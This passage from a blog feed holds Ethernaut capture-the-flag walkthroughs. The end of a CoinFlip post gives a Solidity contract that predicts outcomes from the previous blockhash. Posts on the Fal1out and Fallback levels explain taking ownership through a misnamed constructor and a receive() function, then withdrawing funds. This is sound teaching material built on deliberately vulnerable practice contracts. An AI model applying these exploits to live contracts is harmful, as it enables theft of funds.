    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;consecutiveWins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;hackCoinFlip&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;originalAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xdBe530a1A4C84e392Fea2bA9e8E0F5482eC37907&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;CoinFlip&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;originalContract&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CoinFlip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;originalAddress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;FACTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;57896044618658097711785492504343953926634992332820282019728792003956564819968&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;hackFlip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;FACTOR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;originalContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; 
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;originalContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compile and Deploy this file and run hackFlip() function 10 times. Make sure to set the Environment to “Injected Provider - Metamask” in Remix IDE before deploying to have it deployed on your test network.&lt;/p&gt;

&lt;p&gt;Now running the hackFlip() 10 times gonna take a lot lot time considering you have to confirm transaction on MetaMask and then view on etherscan to complete one cycle so be patient about that.&lt;/p&gt;

&lt;p&gt;Finally, click on the “Submit Instance” button to have your win.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 2 Walkthrough - Fal1out</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:16:43 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-2-walkthrough-fal1out-ilj</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-2-walkthrough-fal1out-ilj</guid>
      <description>&lt;p&gt;This level reminds me of that Todd Howard game which 4th installment was heavily criticized and memed out because of the errors present in the game. This level indicates the very same scenario.&lt;/p&gt;

&lt;p&gt;The very first hint to solve this level is given right at the title of the level name.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--B6icjAHM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/psg26s40g1823gohtjv1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--B6icjAHM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/psg26s40g1823gohtjv1.png" alt="Image description" width="583" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You notice that underline on the L1? That is our way out to solve this level.&lt;/p&gt;

&lt;p&gt;Let’s start by understanding our contract first by understanding each function present in there.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fal1out():&lt;/strong&gt; This function is commented as the constructor of the contract which indicates the one calling out this function is the owner of this contract. Usually when a contract’s constructor is called the one deploying the contract is the owner if it is not changed by some other condition or method.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;allocate():&lt;/strong&gt; This function allocates the amount to the allocator.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;sendAllocation():&lt;/strong&gt; This function requires you to have allocations more than zero in order to send them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;collectAllocations():&lt;/strong&gt; This function collects all the allocations and is locked by the ‘onlyOwner’ modifier which requires you to be the owner of the contract to utilize this function.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;allocatorBalance():&lt;/strong&gt; This function simply returns the allocations by an allocator.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we see that we need to take ownership of this contract and unlock the ‘collectAllocations()’ method to collect all the allocations and finish the level. &lt;/p&gt;

&lt;p&gt;Now look at the very first function of this contract which is commented as the ‘constructor’ and look at the contract’s name. Notice how both the constructor and contract name is different? This is the conflict that we need to take advantage of. As our very first hint at the title also highlights the spelling mistake between ‘Fallout’ and ‘Fal1out’ so this implies that there is no constructor declared for the contract.&lt;/p&gt;

&lt;p&gt;Now when we deploy the contract by clicking ‘Get new instance’ button we can see that there is actually no owner declared for the contract by the following commands. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CYWrHbn0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y8co63xgt2b09glw4pit.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CYWrHbn0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y8co63xgt2b09glw4pit.png" alt="Image description" width="378" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is due to the typo in the constructor which implies that it is never called and hence the contract is deployed without an owner.&lt;/p&gt;

&lt;p&gt;So in order to simply become the owner we have to call the ‘Fal1out’ function and unlock the ‘collectAllocations()’ method to collect all the allocations.&lt;/p&gt;

&lt;p&gt;This can be done by the following command and can be verified.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bs0V5xTp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5806tilnz8sjtqni2qxn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bs0V5xTp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5806tilnz8sjtqni2qxn.png" alt="Image description" width="743" height="198"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see we called the ‘Fal1out()’ function and became the owner of the contract all we have to do is finally call the ‘collectAllocations()’ function to finish the level.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--k_say7Xm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iy1wie9lmj1a4filyv9d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--k_say7Xm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iy1wie9lmj1a4filyv9d.png" alt="Image description" width="503" height="93"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now simply click on ‘Submit Instance’ button and get done with the level.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 1 Walkthrough - Fallback</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:14:01 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-1-walkthrough-fallback-2aa</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-1-walkthrough-fallback-2aa</guid>
      <description>&lt;p&gt;As indicated by this level’s name, it utilizes a Fallback function. Now what a fallback function is defined below:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A Fallback Function is triggered whenever a method is called which is not present in the contract.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now in our contract we can see the Fallback Function here.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How do we indicate this is the fallback function? Because it is a function with no ‘function’ keyword attached to it. If you see all the other functions you can see the ‘function’ keyword attached to them.&lt;/p&gt;

&lt;p&gt;Now how many functions do we have in this contract. Each is explained below:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;constructor():&lt;/strong&gt; This is the constructor of the contract which tells us that the contributions should be 1000 ETH in order to be the owner of the contract.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;contribute():&lt;/strong&gt; This function indicates that you can contribute an amount less than 0.001 ETH. This also indicates that if your contributions are more than the current owner (which is 1000 ETH) then you can become the owner of the contract.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;getContribution():&lt;/strong&gt; This function simply returns your contributed amount.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;withdraw():&lt;/strong&gt; With this function you can withdraw all the available balance but it also uses an ‘OnlyOwner’ modifier which requires you to be the owner of the contract in order to withdraw.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;recieve():&lt;/strong&gt; This is the Fallback function which indicates that your contributions should be more than zero in order to become the owner of the contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now you get the clear picture of the contract. You can see that the contract requires you to contribute 1000 ETH in order to be its owner but its Fallback function says that you can become the contract owner if your contributions are more than zero. This is where the conflict arises and this is what we take advantage of so we can unlock the withdraw() function and take out all the balance from the contract.&lt;/p&gt;

&lt;p&gt;So lets start by using the console and checking the address of the contract owner and our own player address. Note that you can use the help() to see all the options available in the console.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Y6E3ek3d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5nnyexubmzmo8dol8kq1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Y6E3ek3d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5nnyexubmzmo8dol8kq1.png" alt="Image description" width="457" height="83"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see both the addresses are different and we have to be the owner of this contract.&lt;/p&gt;

&lt;p&gt;You can also see the contributions of both by the following commands.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A8DXCtIa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gkg0d2gy23falmw22s72.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A8DXCtIa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gkg0d2gy23falmw22s72.png" alt="Image description" width="715" height="84"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see the owner’s contribution is 1000 ETH which is written in Wei and our contribution is 0 ETH so obviously we can’t be the owner.&lt;/p&gt;

&lt;p&gt;Now let’s contribute something to the contract by the following command:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NFmyYVHd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8qhw11hftj51czjc4y1w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NFmyYVHd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8qhw11hftj51czjc4y1w.png" alt="Image description" width="800" height="71"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now since we have contributed to the contract we can finally take advantage of the Fallback function by triggering it and become the owner of this contract since all it requires is to have a contribution more than zero and that’s what we did just now.&lt;/p&gt;

&lt;p&gt;So in order to trigger it. Let’s use the same command as above but without any function present in the contract.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ZerVJ0Rq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k3oxpk6ly9dq470yqzyd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ZerVJ0Rq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k3oxpk6ly9dq470yqzyd.png" alt="Image description" width="623" height="114"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice how we didn’t use ‘contribute’ method this time which triggered the Fallback function and in this function it is only required to have a contribute more than zero to become the owner of the contract. So finally we have become the owner of this contract. Now this can be verified by the following command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AhTEWUGD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v8lmyspwgftpqtgs5wl2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AhTEWUGD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v8lmyspwgftpqtgs5wl2.png" alt="Image description" width="366" height="82"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see both the contract owner and player are the same so we have finally unlocked the withdraw function. So let’s utilize it by the following command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GZC_4_io--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uzjw902njbu73wo7dzjb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GZC_4_io--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uzjw902njbu73wo7dzjb.png" alt="Image description" width="673" height="95"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now just click the Submit Instance button and see your winning message.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
  </channel>
</rss>
